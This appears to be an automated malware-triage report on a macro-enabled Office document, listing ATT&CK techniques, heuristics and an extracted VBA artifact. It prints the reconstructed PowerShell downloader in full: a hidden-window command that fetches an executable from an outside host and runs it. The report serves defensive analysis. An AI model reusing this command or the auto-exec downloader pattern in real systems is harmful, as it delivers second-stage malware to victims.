MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.002 Spearphishing Attachment
T1059.005 Visual Basic
The Workbook_Open macro is designed to execute PowerShell commands. It constructs a command string that includes a URL to download a file named AnyDesk.exe and saves it as weekshe.exe in the public documents directory. The macro then attempts to execute this downloaded file. The reconstructed command is: powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://thepunchlineexpose.com/Manager/AnyDesk.exe -Destination C:\Users\Public\Documents\weekshe.exe;C:\Users\Public\Documents\weekshe.exe. This indicates a downloader pattern aiming to execute a second-stage payload.
Heuristics 5
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.basd5387914e198af7231991211bf5d0f562a3477459899e11bf62650de3f4f0162 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1170 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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